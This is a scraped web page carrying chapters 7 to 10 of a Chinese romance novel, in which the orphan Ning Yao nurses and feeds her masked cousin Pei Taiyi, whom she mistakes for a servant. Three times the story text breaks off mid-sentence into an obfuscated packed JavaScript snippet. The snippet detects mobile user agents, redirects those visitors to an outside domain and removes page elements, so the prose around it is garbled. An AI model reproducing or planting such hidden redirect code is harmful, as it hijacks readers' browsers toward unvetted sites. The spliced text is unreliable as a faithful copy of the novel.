《殿下今天掉马了吗》 7. 见面礼 宁窈有些惭愧地低下头。 果然任何时候都不要在背后说人坏话。 她假装很忙的样子,拍了拍怀里的“小猫”,缓解尴尬。 宁窈结结巴巴地说,“我说的不是你。” “哦。”裴台熠道。 “我就,就说有这么一个人。”宁窈自己都因自己拙劣的借口想钻进地缝里。 “天气太冷了,我给它做了一件小褂子,它穿上刚刚好。”宁窈提上小竹篓,“我先走啦。” 裴台熠已经转身走进连廊,就着一只盛满清水的铜盆里缓缓洗手。 白皙的手指浸泡在水中,这只手看起来修长而有力,骨节分明。 但当那手指接触到水面,一股浓郁的黑便如莲花般在水面荡开来。 一股淡淡的铁锈味儿在空气中弥漫,宁窈小幅度抽了抽鼻尖,微微皱了皱脸。 她对这股味道很敏感,很快反应过来,裴台熠手上洗掉的是血。 裴台熠半晌没听见宁窈动静,撩眼一看,宁窈提着小竹篓,小虎崽子围着她脚边大转,那双水润乌黑的眼睛,正怔怔地盯着自己的手。 他的手指上,黑色的血水正从指尖缓缓淌下。 “看我做什么?” 裴台熠本也不打算隐瞒什么,他继续缓缓搓洗着。 既然看到了,就赶紧走吧。 今日在堂上,宁窈看到他那张面具时,反应和其他所有人一样。惊恐、畏缩,甚至手都在微微发颤。 他享受众人看到他时的这种反应。 因为恐惧的背后,就是权力。 谁怕你,你就能对谁任取所需。 宁窈却没走。 她纤长的眼睫轻轻眨了眨,两道蝴蝶羽翅似的阴影在眼睑上忽闪着。 “你受伤了?”她细声细气地问他。 受伤?他也挺想见见能自己受伤的人,他的手上从来都只沾别人身上的血。这番狂妄放肆的话还未出口,宁窈从怀里掏出一只白瓷药瓶。“我这里有金疮药,我自己配的。”她说话语调有些得意自豪,像献宝似的。 裴台熠用右手接过小瓶,在指尖细细把玩。 白瓷小瓶在她怀里捂了许久,染上了她的体温,捧在在手中,有一种温润的腻滑感,像是将手指突然插入蜜罐里,指缝间全沾上了糖浆。 裴台熠忽然之间改变了想法。 大部分人都自诩正义之师。在风平浪静的时候,都能表现出善良温和的一面。可一旦真正的考验来临,他们反而是偏见最深、最自私冷漠的人。他不禁好奇,如若他真的有一道狰狞可怖的伤,宁窈看到了会不会瑟缩着跑开?就像她在大堂那样。 左手手掌握拳,指节上铁质虎指尖端朝内,钝刀割肉一般猛地扎入皮肉。 他顽劣地向宁窈展开手掌。 汩汩鲜血涌出,带着身体的温度。 “伤了。” “呀!”宁窈果然惊叫了一声,往后退了两步。 她吓到的样子,令裴台熠嗤笑起来。 这笑意噙在嘴角,却没有映入眼底。 果然如此。 他重新将手浸没在水中,看着水盆里的水从浅红变黝黑。 “胆儿这么小,就早点回家。”他似是嘲弄,似是戏谑的说。 “我刚刚是没想到你伤这么重,”宁窈仿佛不服气,重新走回他的身旁。 “伤口不能碰水的,”宁窈将他的手从水中牵了出来,又从袖口抽出一块白色方帕,轻轻缠绕在他的手掌上。 她个头比他矮上半个头,此时又垂着眼,从他的角度看过去,只能瞥见她洁白的下颌,还有乌黑头发后面,白嫩的一点耳垂。她耳上穿了耳洞,镶着一对眼泪形状的珍珠耳坠,几缕发丝缠绕在耳坠上,随着她的呼吸轻轻地荡。 膏药中馥郁的药香随风吹了过来,间杂着她身上涂的香膏味儿,栀子花香反倒比药味重。 她涂药的手法又轻又慢,像羽毛在他掌心轻轻地扫。一点也不疼,但却有些麻痒。 他的目光向下,最后从她的耳垂,落在了她肩上。她的肩膀很薄,但是背很直,于是脖颈与肩相连的地方,有一道温婉的弧。 “阿寅。” 宁窈银铃似的笑声唤回了裴台熠的思绪,他眉峰颤了颤。她怎么突然叫他阿寅。 “阿寅,别闹了,好痒。” 就在宁窈给他上药的功夫,阿寅凑了过来,贴着宁窈的脚踝打转儿,尾巴在她的脚背上一扫又一扫。 裴台熠意识到自己失神,他错开眼睛,两指夹起药瓶,道:“你这药膏,与寻常金疮药不同。” “闻出来了?”宁窈昂脸笑了起来,“我妹妹不喜欢药味,这是我给她配的。用到药材药性更温和,还加了花香。你别以为,这药味道好闻,就不管用了,疗效还是一样的。” 难怪宁窈给他上药时的手法这么轻柔,原来是从小带妹妹练出来的。 “自己配的?”裴台熠道:“你还是个大夫?” “还不是……但我马上就是了。”她还没拜师,等她拜了师,就和母亲一样是真正的大夫了。 上好了药,宁窈又细细用帕子将裴台熠的手缠了起来。 她动作手法虽然过于温柔,但的确是个大夫的样子。 “好啦。”宁窈收起了小药瓶,小竹篓,不忘叮嘱:“以后别再用水洗伤口了,会流脓的。实在想洗,就用烈酒。” 不知不觉,朗月初升,少女一身藕粉色夹袄,披着一身银色的月光,蹲坐在白洁的雪地里,手上忙个不停,偶尔抬头看他时,也星眸含笑。 “今日,”裴台熠将缠着方帕的手搁在膝上,喉结滚动,忽地开口,“见过你大表哥了?” “嗯,”宁窈拧上药瓶,点头:“见过啦。” “怕不怕他?”裴台熠问。 宁窈抬手拨了拨落在脸颊上的发丝,发丝弄得她有些痒,她皱眉思索着,用手指抓了抓脸颊。“我只今天见了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357750|152801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一面,老实说,是有点怕的。” 宁窈回忆着裴台熠的可怖面具的形状,指了指自己的脸颊,小声说:“他的那张面具,真的很吓人。” “面具?”裴台熠敛眸,“面具是他身上最不可怕的东西了。” 宁窈瞪大了眼睛,轻声问:“那……你在他手下做事,岂不是很惨?” 裴台熠被噎了一下。 有一种搬起石头砸自己脚的感觉。 他呷了一口茶,方才徐徐道:“嗯,是挺惨的。” “哎,”宁窈立刻对“裴吉”生出惺惺相惜的味道。 “那你跟我还真是同病相怜。”宁窈说。 “你怎么了?”裴台熠问。他那几位舅母,各个都不是省油的灯。小姑娘刚来,有得受了。 宁窈不想说她的梦,也不想抱怨舅母们的糟心事。 她摇了摇头,说:“没什么。对了,裴吉哥哥,你在京城待的时间比我长,有件事能不能问问你?” “何事。”裴台熠说。 “我想雇个小丫鬟,你知道京城的乐居业在哪儿么?” 裴台熠道:“知道,你身边缺人?” “也不是缺人,”宁窈说:“我想有一点自己人。” 裴台熠扬了扬眉梢。 小小年纪就知道要扶持自己的势力,有几分聪慧劲儿。 “明日我让乐居业的掌柜来见你。”裴台熠道。 “太好了。”宁窈展开笑颜。她的眼睛是偏圆的形状,笑起来便成了弯弯的月牙形,她说话时也爱笑,有一个专门的词就是在说她,语笑嫣然。 比起这双眼睛,惊恐、畏惧地望向自己。 裴台熠觉得还是笑着的更赏心悦目。 人都喜欢好看的东西,不是么。 婷婷娉娉的身影消失在暮色里。 少女走后,小虎崽子终于想起来自己真正的主子是谁。 一跃而起,蹦跶到裴台熠膝盖上趴着。 “起开,你以为你很轻?”裴台熠拍了拍虎头。 虎崽子夹着嗓子在裴台熠的膝盖上咕噜两声,懒洋洋地舔着手背上的软毛。 裴台熠坐在竹帘下一把红色黄铜扶手圈椅里,月光透过厚重窗幔照了进来,只点亮了他的半张脸,另外半边,浸没在幽暗的阴影里。单薄的眼皮垂着,浓密纤长的眼睫在眼睑下投射出半弧形的阴影,心不在焉地用修长的手指捉弄小虎崽子后脖颈上的软毛。 半晌,他悠悠开口,道:“等她发现你是只小虎崽子,你说她还会不会来?” 小虎崽子哪里懂人心事。 小虎崽子只知道吃肉。 小虎崽子吃饱了,闭眼假寐。 裴台熠垂眸,看向左手手背上缠绕着的白色方帕。 他这个做大表哥的,见了表妹,也该拿一份见面礼不是? “从阁里挑两名十五岁出头,聪明机灵,武艺高强的姑娘。”裴台熠下了令,暗卫领旨立刻去办。 8. 谢礼 宁窈到家时,宁晓已经睡了。 小小的脸露在被褥外面,一头落雪似的细软的头发从被角冒了出来。 宁窈给她掩了掩被角,在自己的被褥里掏了掏,摸出一只小绣花荷包,从里倒出几块碎银子来。父母在时,她对银两没什么概念。每年过年领到压岁钱,也是欢喜的心态更多。如今她自己在当家,才知道钱财的重要性。 她在灯光下称出十两银子,又想到京城米贵不易居,她们一路来,一块小小的米糕都要十文钱,便又添了二两,一起用手帕包好,重新放回枕头下。 “姐姐?”宁晓听到动静,醒了一下,奶声奶气地过来挨她。 “没事儿,”宁窈摸了摸宁晓的小脸,说:“继续睡吧。” “嗯。”宁晓咂吧一下小嘴,又安静地睡去。 宁窈无声地将案头小灯移开,披着睡袍,在灯下读起母亲留下的医书。 这些书前几年她读了个囫囵,权当话本在看,仅读懂了一些皮毛,如今再读,不懂的地方反而更多。 宁窈在被褥下给宁晓摸了脉。宁晓的脉象平稳,与普通的孩子并无不同,仅是稍微孱弱一些。 宁窈越想越觉得这不是个办法,靠自己闭门造车十几年,不如名师略一指点。母亲在书中经常留批注,其中总是出现“化真”这个名字。这是她师父的名号,不知这位化真先生,是否愿意收她为徒。 窗外传来邦邦打更声。 宁窈将手札仔细收捡好,吹灭小灯,搂着妹妹也合眼睡去。 这晚她忽地梦见以前的事。那时爹爹娘亲都还在,一家人和和美美地吃着晚饭。年关飘雪,家中烧着暖炉,墙上挂着红色的窗花,绿蜡新酒,宁晓也在摇篮里,不哭不闹,头发乌黑。再醒来,见屋中一派陌生的陈设,方才意识到不过是一场大梦,自己如今寄人篱下,无依无靠,不觉掉下几滴眼泪来。 * 裴老太太从庙里回来,宁窈便不再去见二舅母,只需去外祖母屋里请安。 宁窈到时,几位舅母、表妹已经到了,正在屋里坐着烤火闲聊。老太太屋里李嬷嬷正服侍老太太吃药。 窗外雪意融融,屋内暖炉热酒,别有乐趣。 “窈姑娘到了。这年龄的孩子都起得迟。但我屋的裴阮和裴娇就不一样,天天醒得比我还早。”见宁窈进来,二舅母便笑盈盈地这么说。暗讽她今日来得迟。 “能睡那可是福气。”三舅母笑着将话接了过去。似是打圆场,但听起来也是讽刺。 宁窈没做声,脱下斗篷,轻轻抖落上头的积雪。雪花润湿了她的裙角。 “窈姑娘的屋在西边,离这儿远。”李嬷嬷帮宁窈打圆场,说:“这么大的雪天,一脚深一脚浅地走过来,不知要醒多早哩。” “窈儿来外祖母这里坐。”裴老太太冲宁窈招了招手,道:“外头这么大的雪,亏得你赶过来。” “老太太,该服药了。”李嬷嬷给老太太端来药汤。 宁窈便问:“外祖母吃的是什么药?” 李嬷嬷回答:“老太太近日有些头痛,大夫说多是风寒的缘故。” “外祖母,让我给您瞧一瞧吧。” 外祖母说:“你还懂医?” “我跟着我母亲学了一些。”宁窈答道。她给老太太把了脉,又闻了闻药汤,道:“外祖母有时可曾四肢挛急,脚肿不可落地?” 李嬷嬷说:“还真是如此。” 宁窈说:“可将二两紫苏子擂碎,加水三升,研取汁,用二合粳米,加煎汁做成粥来吃。若头疼来的急,可按压百会穴、风池穴、太阳穴三个穴位。外祖母,我现在帮您按一按吧。” 宁窈坐在老太太身侧,为老太太按摩穴位。老太太的头痛属顽疾,不可下猛药,而需慢慢调养。她以指腹为尺,找准穴位,用拇指关节按压均匀施力。果然老太太的神色稍展,脸色也变得更加红润。 按摩其实是个力气活,要持续下大力,方才能初见疗效。宁窈为老太太按了一会儿,额间便个沁出了一层薄汗。 裴老太太拉住宁窈的手,道:“好了,别再按了,你受累。今日外祖母已经好很多了。” 宁窈乖巧地说:“那我明日再来。” 李嬷嬷方才在旁边看着,一直个默默在学,道:“老奴已经将穴位记下了。” 裴阮嘴甜又有眼力劲儿,以往是裴老太太最喜爱的孙女,如今宁窈一来,又聪慧乖巧,还懂医术,裴老太太喜欢得紧,不再过问裴阮的事。 二舅母有些吃味,插进话来,道:“依我看,女子还是不要懂这么多。女子又不是男儿,男儿还能当太医,女子懂得太多,只会把脑子给念坏。还是专心在家做女工才好。裴阮昨日绣了一幅寒梅图,快拿给你外祖母瞧瞧。” 裴阮捧出一幅寒梅图给裴老太太看。 “这话我就不爱听了,”三舅母比二舅母会看眼色,见裴老太太这般喜爱宁窈,若说宁窈不好,一定会惹得老太太不悦,便说:“读书可以明智,女子多读些书,出嫁了跟丈夫也有话可聊,不然丈夫嫌妻子没学识,无话可聊,日日不归家。”屋中人闻言都嗤嗤笑了几声。 裴家二爷裴瑞和陈家小妾的事,已经闹得人尽皆知。二舅母脸上顿时一会红一会儿青。 裴老太太瞧了瞧裴阮的刺绣,道:“绣得的确不错。”就放到了一边,又问:“阮儿是在弄茶诗会?” “是。”裴阮说。 二舅母似贬实褒,说:“那就是个小孩儿玩的玩意儿。但阮儿的茶诗会上的宾客,可都是京城的贵客。端霞郡主、北侯王的几位千金……”二舅母报出一长串耀眼的头衔,最后说:“还有当朝首辅的大公子阎关山,全是阮儿的座上宾呢。” 阎关山这个名字一出现。 宁窈的心登时微微一怔。 “下次茶诗会,叫窈儿也去。”裴老太太说。 裴阮自然不满,但这又是裴老太太的意思,她不能不从,只得答应下来:“好,窈妹妹,下次茶诗会你也一起来吧。” “谢谢二表姐邀约。”宁窈垂眸应下。 噩梦中阎关山那张冷漠决绝的脸在她眼前浮现。 该来的还是要来了。 只是她没想到竟然会这么快。 * 从裴老太太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357751|152801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那儿回来,乐居业的老板娘领了两位姑娘在屋里等她。 她只打算要一个小丫鬟,但老板娘却领来了两个。看起来都面相舒服,眉宇有股英朗的气质。宁窈问了几句话,十分满意,但她只想要一个,怕再多就养不起,便说:“这两位姑娘的雇佣文书是什么价?我只用雇请一位。” 老板娘笑眯眯地说:“宁姑娘这就不用操心,钱都已经提前付好了。” 宁窈有些惊讶地瞪大眼睛,“钱已经付了?” “是的,已经付了,你这儿院子这么大,又住了两位姑娘,每日清扫院子、烧水做饭,一位小丫鬟是一定不够用的,宁姑娘往后看就知道了。若宁姑娘满意,在契书上签个字就行了。” 宁窈她不愿让“裴吉”替她垫这个钱,又追问老板娘具体的价钱。这两位姑娘其实是裴台熠司里的死士,只是借她的手,送到宁窈这儿来罢了。老板娘哪知道应该开什么价。但若不说个数,事情恐怕会露馅。于是老板娘便根据行情,胡诌了个大差不差的数目,“一位姑娘是十两银子。” 两位就是二十两了。 宁窈心里咯噔了一下。 她果然钱准备少了。 送走了乐居业老板娘,宁窈向两位新来的小丫鬟吩咐道:“我这院子里就一个规矩,我那小妹胆子小,怕见生人,所以你们就在外院做事即可,不经过我的同意,不要让任何人进来。” “明白。” 宁窈又叮嘱姆妈:“这两个小姑娘虽说看起来可靠,但毕竟是新来的,还不知根底,劳烦姆妈多盯着她们。” “这我明白,”姆妈痛快地说。 安排好院子里的琐事,宁窈又进到屋里。宁晓正趴在桌上写写画画,白嫩的小脸上抹了两道墨。宁窈噗嗤笑了一声,从脸盆里绞了一块热毛巾帮她擦掉,“小花猫脸,接着玩吧。” “嗯!”等宁晓低头继续作画。 宁窈确定宁晓没再看过来,方才悄无声息地从枕头里将银两重新掏了出来。她不想让妹妹知道她们生活拮据的一面。 称好了钱,用手帕包好。 宁窈拿上竹篓,去厨房取小鱼干和小肉条。 她看见厨房八仙桌上放着一碟烤洋芋,眼睛立刻亮了起来。 “姆妈,”她从厨房探出头,欣喜地问:“今晚吃烤洋芋啊!” “是呀,”姆妈笑着说:“算算窈姑娘、晓姑娘已经离家大半个月了,该想吃家乡菜了吧?” 宁窈说:“想!做梦都想。” “我就知道,”姆妈说:“今晚就能解馋了。” “等我回来。”宁窈提上小竹篓,恨不得要跑过去。 但她又停了下来。 “裴吉”帮了她忙,又出力,又出钱,她是不是应该给“裴吉”回一个谢礼?可她身上除了医书和房契,再没有什么值钱的东西可以拿得出手。现在赶着买东西,也来不及。 “姆妈,”宁窈说:“用小盘子,帮我装一份烤洋芋吧。” 今晚宁窈的小竹篓有点沉。 给小猫的口粮下面,用棉絮严严实实地包住一只瓷碗,里头装着热腾腾的烤洋芋。 9. 投喂 腊月天色黑得早,等宁窈到东院,天已经黑尽了。 月色如水,泻在院墙下的曲折路径上,轻烟薄雾,笼罩着门前道旁树梢,屋顶飞檐隐没在盈盈夜雾里,路径上青石板缝隙里钻出了几株野花,幽静地散发着清淡的花香,被夜晚微风吹拂在面颊上。 第一次来时,只觉得这儿幽深可怖,现在于月色下轻车熟路地行来,却只觉得有一种说不出的清新舒畅之感。 到了屋角,宁窈怕撞见大表哥,探头小心翼翼地观察院内动静。 没见人影,方才拾了一块石粒,朝窗格上掷去。 “裴吉哥哥。” 她小声朝屋里唤了一声,然后抱着小竹篓,避猫鼠儿似的在墙角屏息静候。 半晌,纸窗下有人影晃动,裴台熠缓步从屋内出来。挺拔颀长的身形被身后檐上明烛照亮,笼了一层淡淡的光晕。 他此时多半该是打算休憩了。一头黑发未束金冠,只别了一只白润寒玉,眼如寒星,眉如点漆。他没再穿往常那套厚重冷冽的黑色劲装,而是一身素面黑色常服。小臂上不绑护腕,厚重的绒缎广袖垂下,边沿有银色倒蝙蝠祥纹,在月光下波光粼粼。 他瞧见了躲在树下的宁窈,似是觉得她谨慎的行径有些好笑,淡淡揶揄了一句,“怎么跟做贼似的,我这儿又没人。” “哦。”宁窈这才提着小竹篓,从树影下走了出来。 头顶的月光初是落在她额角,似是一滴透明的水滴,随着她的走动,月色从她的眉尾沿着光洁的额头游弋到了眼角,直到整张脸都被月色照亮,脸颊粉白,两腮淡红,不施粉黛,自然风流,眉眼间都是小女儿才有的娇憨与风情。 裴台熠没开口叫她过去,只是将手中一只对于他来说过于精致小巧的暖手铜炉放下,然后在廊下案几前的茶杯里,倒了一杯茶。 宁窈正觉得有些冷,便坐了过去,捧着茶喝了一些。 热茶下腹,身上的寒意褪去,有一股暖呵呵的感觉。 “裴吉哥哥,我这次来,是……”她将小竹篓放在桌上,先取下第一层小猫的餐盘,再要拿出下一层的吃食,却突然瞥见裴台熠的案几上已经摆了一盘糕点。 那点心不知是用什么做的,摆成了一朵栩栩如生的莲花形状。那莲花花瓣晶莹透亮,薄如蝉翼,中间点了桂花和蜂蜜做花蕊。这般精美的点心,叫人都舍不得当做吃食咬上一口。 宁窈不禁想到裴娇嘲讽她的话—— “真是个土包子。” 京城的糕点,显然看起来比她小篓子里的点心要可口许多。 宁窈难免有些丧气。 她生硬地停下手中动作,将拆开一半的棉絮重新盖了回去,然后折转从袖中取出了一只巴掌大的绣花香包,说:“我是来还你钱的。” 姑娘用的小香包上绣了些花花草草,静静散发着被檀香熏过的淡香。裴台熠还嗅到了一点别的味道,那是每个人身上的独一无二的气息,仿佛一根游丝似的,缠绕在那细密的针脚里。 裴台熠接过香包,也不打开看,只托在手里轻轻一掂,道:“二十两?” 宁窈小小地吃惊,眼睛圆溜溜地问:“你怎么知道?” 这二十两她称了好几次,就怕数目不对。 “裴吉”怎么一摸就知道数目了? 裴台熠对此一笑了之。 像他们这种经手钱够多的人,手就是称。只是这二十两,全是些零散的碎银,多半是分了好几次才凑了出来。他眸底微波暗转,裴家的表小姐,拿二十两银子出来,却要用凑的,传出去简直是滑天下之大稽。 裴台熠将这只小巧的香包还了回去,道:“不必,只是些小钱。” “那怎么行。”宁窈却较起真来,急急地说:“你在我表哥手底下做事,赚的也是辛苦钱,我不能占你这个便宜。” 裴台熠被噎了一下,那种自作自受的无力感再次卷土重来。 他咳了一声,呷茶清了嗓子,道:“嗯,裴大人给钱还是很大方的。”难得有机会为自己美言两句。 “是么?”宁窈将信将疑,“那还不错。难怪你们愿意为他卖命。” “你一下拿了这些钱出来,手里的钱够用?”裴台熠问。 “够的。”宁窈说,“我花钱的地方少。” “京城花钱的地方可不少。”裴台熠说。 他将这只小香包打开,倒出里头的银两,然后两指捻着香包上的小绳,说:“钱你自己拿着。我看你这香包绣得不错,值二十两银子,我留下了。” “香包我随便绣的,才不值二十两银子。” 宁窈才没那么好骗,而且这是她用过的香包,贴身的东西,被人拿了过去把玩,总觉得有些难为情。 她突然倾身过来,带着一股花香。裴台熠身手远在宁窈之上,但在这一瞬却分了神,手中的香包便被她灵巧地一把抢了回去。她的脸颊染了绯色,将香包揣回怀中,背对他说:“你,你若是喜欢,我给你另绣一个好的。这个不好。” 裴台熠手里一空,鼻尖那股香味儿便也淡了,凉如水的夜色里,只余墙角野花的幽香,有一股莫名的怅然若失之感。 “喵呜喵呜,”阿寅闻着肉香味儿从墙角蹿了出来,围着宁窈夹着嗓子嗷呜嗷呜叫。 “你来啦,今天给你带的都是肉哦。”宁窈眼睛一亮。 裴台熠提起她的小竹篓,给她递了过去,但却觉得竹篓的重量不对,便道:“你这篓子里还有什么?” 宁窈结结巴巴地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357752|152801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“没,没什么。” 裴台熠道:“你倒是忙,还有哪儿有猫赶着去喂?” 宁窈这才不得不慢吞吞揭开盒盖,说:“我……带了些烧洋芋……” 裴台熠怔了一怔,道:默了半晌,方才开口道:“给我?” “是。”宁窈轻咬着唇,点了点头。 她一点点展开食盒上的棉絮,棉絮让盘中的烤洋芋现在还是热腾腾得冒着白气。盒盖揭开,一股洋芋烤制后散发的独特奶香味扑面而来。一只只鸡蛋大小的洋芋去了皮,煎烤至金黄酥脆,然后撒上一层辣椒、盐、胡椒粉和少许白糖。洋芋的每一面都被调料包裹住,叫人食欲大震。 “我们那儿喜欢将洋芋这么做,”宁窈说:“不切块,也不切丝,直接一整个烤。这样烤熟了,轻轻一掰。”她拿了一小块做示范,在裴台熠眼前捻碎了一块,“里面全都烤软了,入口即化。然后再沾上辣椒面……” 热腾腾的土豆还有些烫手,宁窈被烫了一下,飞快地捏住自己的耳朵,还冲他微笑,眼眸弯如弦月。 “我们那儿不产盐,为了吃盐才种辣椒,没想到辣椒也别有风味。我从小就最喜欢这么吃洋芋,这是我姆妈烤的。她烤的时候,放的油是猪油,所有吃起来会有一股肉香,甚至比肉还好吃。” 以前行军时,军队也会以洋芋做军需口粮。但那时他们吃的洋芋都冻成了石头块,要一点一点抿化了,方能入口。甚至有的已经发芽、发苦,更难以下咽。而这只餐盒里的烤洋芋,是香喷喷、热腾腾的,像一只只黄澄澄的小太阳。看着这一幕,裴台熠心中有一种莫名的情绪在翻涌肿胀发酵,几乎要将他的胸腔涨满了。 这种感觉很陌生,而他并不知道那是什么。 “既然带来了,方才怎么不给我?”裴台熠问。 “我也不知道,你喜不喜欢吃。”宁窈有些沮丧地说。 眼波流转,在他桌上那只点心盒上稍作停留。 裴台熠便会意。 他将那宫里赏的餐盒合上。 “我不喜食甜,倒嗜辣。”他也拣了一只,学着宁窈的样子,掰开,烤好的洋芋内芯呈漂亮的淡黄色,软糯可口,当真像要融化的黄奶酪。 “好吃嘛?”宁窈眼睛在一旁托腮望他。 “嗯。”裴台熠喉结滚动。 “嗷呜嗷呜(我也要吃我也要吃。)”他们吃得欢,小虎崽子餐盘却空掉了,急得小虎崽子围着宁窈直打转,尾巴摇成了竹蜻蜓。 “你不能吃哦,这个调料太重了,是人吃的。”宁窈一边笑一边说,寂静太久的院子有小虎崽子在上蹿下跳,有少女在笑,笑声清脆如铃铛叮当作响。这些声音虽是吵闹,但却并不违和,仿佛这儿本该就是充斥着无尽的欢声笑语。 10. 芍药 宁窈在裴台熠这儿又待了一会儿,忽地想起时辰晚了,急着要回去,“我得回去了。” 她拾掇着小竹篓,夜深露重,手指冻得有些发木。忽地手里多了一只精致小巧的暖手铜炉,在冷夜驱散了她的寒意。 “给我的?”宁窈茫然地眨了眨眼睛。 刚进院时,她其实就瞧见了裴台熠手里捧了这只铜炉。 只是以为这铜炉是裴台熠给自己用的,没想到竟是要给她。 难怪铜炉做得这般小巧精致。 裴台熠开口说:“这盒点心你也带回去。” “不,不用。”宁窈忙摇头。 她来这一趟,明明是送谢礼的。 结果最后反倒变成她连吃带拿。 裴台熠说:“你不是还有个妹妹?这点心小孩子多半喜欢。” 宁窈看向那小餐碟,那么精美的小糕点,宁晓是肯定没见过的,带回去给她,她一定欢喜。 “不要就扔了。”裴台熠丢下这么一句话。 “那多浪费,”宁窈有些不好意思地说,:“那,那我拿一个好了。” 她怕压坏了点心的图案,小心翼翼地用手帕包了一只,好好装进竹篓里。 裴台熠也不送她,已经进屋里去了。宁窈一路揣着铜炉往小院走,虽脚下踏着霜雪,却也不觉得阴寒。她的嘴角无意识地弯了弯,心道,“裴吉”哥哥虽不爱说话,也不主动跟她熟络,但心却是很细的。 等宁窈走远了,裴台熠方才又从屋里绕了出来。 东边这处静谧的别院,青石地上撒了一地碎银似的月光。 小虎崽子在院子里玩,倒在地上打滚,撕咬它的玩具木质小球。 尖锐的爪、牙、均已初见雏形,轻而易举地将木球抓下一些碎屑。 裴台熠在月色下垂眸默了默,忽地对小虎崽子道:“你再唤一声听听。” 小虎崽子不懂人言,倒在地上直翻肚皮。它的嗓子里发出几声低低的咆哮。宁窈不在这儿了,它便没再夹着嗓子扭捏,虽还是一只幼虎,叫声已是虎啸,贴着地面一阵阵震荡开去,叫远山青黛中的狼群猎豹惊恐地睁开了莹莹兽眼。 这声音不对。 不是小虎崽子叫声不对,是这院子不对。 太死寂了。 * 从乐居业雇的两名小丫鬟用起来实在称心,将二舅母安插来的黄鹅防得死死的,也将院子打理得井井有条。虽说黄鹅这枚钉子还没彻底拔掉,但她每日轻松不少。 随后几日,宁窈仍每日给裴老太太请安。 这日一早从裴老太太房里回来,见前院来了位生脸。 管家手里捧着一对开得红艳夺目的芍药花,说:“窈姑娘,今日大少爷进宫面圣,圣上给赏了几株芍药花。大少爷院里不养花,便叫人将花给各位姑娘送去。” 管家口中的大少爷就是她的大表哥裴台熠。 宁窈有些意外地问:“我也有?” “那是当然,”来的管家说:“大少爷特地吩咐的,说各房的姑娘都要送到。”他们办事的,都听话会听音。若裴台熠不是要给宁窈院也送一株,怎会多添这么一句? “劳累管家跑这一趟。”宁窈接过,吩咐人将花瓶拿来。她又将花枝根茎的部位稍作修剪,用火燎了封尾,斜斜插在花瓶里。 冬日甚少能见颜色鲜艳的花束,目之所及都是衰败枯萎之景,屋中忽地多了一束芍药花,登时有几分春意,是桩喜事。院里的小姑娘们也都喜欢花花草草,围着这株芍药话说笑。 宁窈又觉得单插一株芍药景单调了些,又折了梅花、常青树枝、枯枝,在花瓶上做了一副花景。 正赏着花,前院又有人送东西来,这回是二舅母送的几架五彩毡毛帘幔,说她屋里太素净了,要添些颜色。三舅母也紧随其后,送的是燕窝和茶叶。只有四舅母没送东西来。 姆妈一趟一趟地接过东西,又奇又喜,说:“今天是什么日子?真赶巧了,这么多人来。” 宁窈略一思忖,就琢磨明白了。裴台熠给她这个小表妹送了东西,便是表明了态度,日后别的姑娘有什么,宁窈都要有一份一样的。这几位舅母见状,心中再不情愿,自然也得跟上。 只是她刚来时,屋里凉飕飕的,只有四舅母送了些东西你的。如今门庭若市,没来的还是四舅母。那场梦境里,二舅母点火,三舅母扇风,没给她落井下石的,还是四舅母一家。果然世上锦上添花的人多,雪中送炭的人却少。 姆妈喜不自禁地清点物件,说:“现如今,窈小姐又有裴老太太撑腰,又有大少爷撑腰,这日子总算好了起来。以后谁再敢在窈小姐跟前撒野拿乔,咱们就上裴老太太大少爷那儿告状去!” 宁窈却没姆妈这般沾沾自喜,道:“我跟大表哥其实只有一面之缘,关系也不深厚,说不定他连我跟小晓的长相都没记住,送花来多半也只是做个场面人。 “外祖母如今是宠溺我,但我毕竟也不姓裴,只是个外孙女。外祖母是我的保命符,保命符遇大事方可求一次,平日里的小磋磨,就不要惊扰她老人家了。” “还是窈小姐通透。”姆妈忙改口。 不由也在心中感慨,像宁窈这个年纪的千金小姐,哪儿位不是心高气傲?宁窈却这般懂事,也是因情景所迫,又轻轻叹了口气。 “窈小姐,”这时裴阮的婢女来了,说:“阮姑娘今日茶诗会,请窈姑娘过去。” 宁窈正在拈花的手一顿,道:“好,我马上过去。” 待婢女走后,姆妈为宁窈重新梳妆。 宁窈在镜子前坐下,姆妈给她拿来胭脂,宁窈瞧了一眼,说:“胭脂就不揩了。” “这是十四五岁这个年龄的小姑娘,哪儿有不爱涂脂抹粉的。”姆妈说:“这胭脂是上等货,涂在脸上好看得紧!” 宁窈却摇头,说:“放着吧,我不喜欢这味儿。” 今日茶宴上,她将跟她未来的未婚夫阎关山见面,她一点也不想跟阎关山扯上任何关系。 